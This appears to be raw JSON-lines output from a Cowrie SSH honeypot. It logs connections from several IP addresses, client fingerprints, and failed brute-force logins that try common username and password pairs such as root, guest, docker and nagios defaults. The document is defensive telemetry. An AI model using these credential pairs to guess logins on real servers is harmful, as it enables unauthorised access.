{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":38440,"dst_ip":"10.17.0.5","dst_port":22,"session":"7de8152eb184","protocol":"ssh","message":"New connection: 91.92.40.153:38440 (10.17.0.5:22) [session: 7de8152eb184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:06.784099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:06.848823Z","src_ip":"91.92.40.153","session":"7de8152eb184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:06.913993Z","src_ip":"91.92.40.153","session":"7de8152eb184","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"security","password":"security","message":"login attempt [security/security] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:07.448890Z","src_ip":"91.92.40.153","session":"7de8152eb184","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:07.472934Z","src_ip":"160.187.174.22","session":"fb6df2f1fd0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":49142,"dst_ip":"159.203.135.109","dst_port":22,"session":"0467d97119b0","protocol":"ssh","message":"New connection: 109.237.96.109:49142 (159.203.135.109:22) [session: 0467d97119b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:08.600196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:08.603861Z","src_ip":"109.237.96.109","session":"0467d97119b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:08.679943Z","src_ip":"91.92.40.153","session":"7de8152eb184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:08.698902Z","src_ip":"109.237.96.109","session":"0467d97119b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:08.728870Z","src_ip":"160.187.174.22","session":"fb6df2f1fd0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28011994","message":"login attempt [root/28011994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:08.980019Z","src_ip":"109.237.96.109","session":"0467d97119b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:10.075194Z","src_ip":"109.237.96.109","session":"0467d97119b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:10.962907Z","src_ip":"139.99.74.35","session":"924c909c0d5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":59084,"dst_ip":"159.203.135.109","dst_port":22,"session":"71ae3bfd564a","protocol":"ssh","message":"New connection: 139.99.74.35:59084 (159.203.135.109:22) [session: 71ae3bfd564a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:11.190014Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":38508,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a20952aec1d","protocol":"ssh","message":"New connection: 91.92.40.153:38508 (10.17.0.5:22) [session: 9a20952aec1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:12.205078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:12.424802Z","src_ip":"91.92.40.153","session":"9a20952aec1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:12.428044Z","src_ip":"91.92.40.153","session":"9a20952aec1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:14.058476Z","src_ip":"91.92.40.153","session":"9a20952aec1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:15.399862Z","src_ip":"91.92.40.153","session":"9a20952aec1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:15.975103Z","src_ip":"139.99.74.35","session":"71ae3bfd564a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":50968,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f6ebe5b8794","protocol":"ssh","message":"New connection: 139.99.74.35:50968 (159.203.135.109:22) [session: 1f6ebe5b8794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:16.205040Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":35900,"dst_ip":"10.17.0.5","dst_port":22,"session":"6293971510af","protocol":"ssh","message":"New connection: 91.92.40.153:35900 (10.17.0.5:22) [session: 6293971510af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:18.533515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:18.622851Z","src_ip":"91.92.40.153","session":"6293971510af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:18.625951Z","src_ip":"91.92.40.153","session":"6293971510af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:19.291028Z","src_ip":"91.92.40.153","session":"6293971510af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:20.408676Z","src_ip":"91.92.40.153","session":"6293971510af","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:22.610415Z","src_ip":"139.99.74.35","session":"1f6ebe5b8794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:22.616943Z","src_ip":"139.99.74.35","session":"1f6ebe5b8794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":34724,"dst_ip":"10.17.0.5","dst_port":22,"session":"bab9e47e0d69","protocol":"ssh","message":"New connection: 91.92.40.153:34724 (10.17.0.5:22) [session: bab9e47e0d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:24.363013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:24.380994Z","src_ip":"91.92.40.153","session":"bab9e47e0d69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:24.450496Z","src_ip":"91.92.40.153","session":"bab9e47e0d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0987654321","message":"login attempt [root/0987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:24.925729Z","src_ip":"91.92.40.153","session":"bab9e47e0d69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:26.088116Z","src_ip":"91.92.40.153","session":"bab9e47e0d69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":35986,"dst_ip":"159.203.135.109","dst_port":22,"session":"2563eaf3eb9f","protocol":"ssh","message":"New connection: 103.176.20.57:35986 (159.203.135.109:22) [session: 2563eaf3eb9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:29.513328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:29.517457Z","src_ip":"103.176.20.57","session":"2563eaf3eb9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:29.758768Z","src_ip":"103.176.20.57","session":"2563eaf3eb9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":34758,"dst_ip":"10.17.0.5","dst_port":22,"session":"32870be2c5c9","protocol":"ssh","message":"New connection: 91.92.40.153:34758 (10.17.0.5:22) [session: 32870be2c5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:30.696835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:30.714456Z","src_ip":"91.92.40.153","session":"32870be2c5c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:30.727867Z","src_ip":"103.176.20.57","session":"2563eaf3eb9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:30.807082Z","src_ip":"91.92.40.153","session":"32870be2c5c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"111111","message":"login attempt [guest/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:31.247606Z","src_ip":"91.92.40.153","session":"32870be2c5c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:31.973669Z","src_ip":"103.176.20.57","session":"2563eaf3eb9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:32.437190Z","src_ip":"91.92.40.153","session":"32870be2c5c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":41120,"dst_ip":"159.203.135.109","dst_port":22,"session":"c73d5bd3e0fb","protocol":"ssh","message":"New connection: 160.187.174.22:41120 (159.203.135.109:22) [session: c73d5bd3e0fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:32.915510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:32.919933Z","src_ip":"160.187.174.22","session":"c73d5bd3e0fb","protocol":"ssh"}
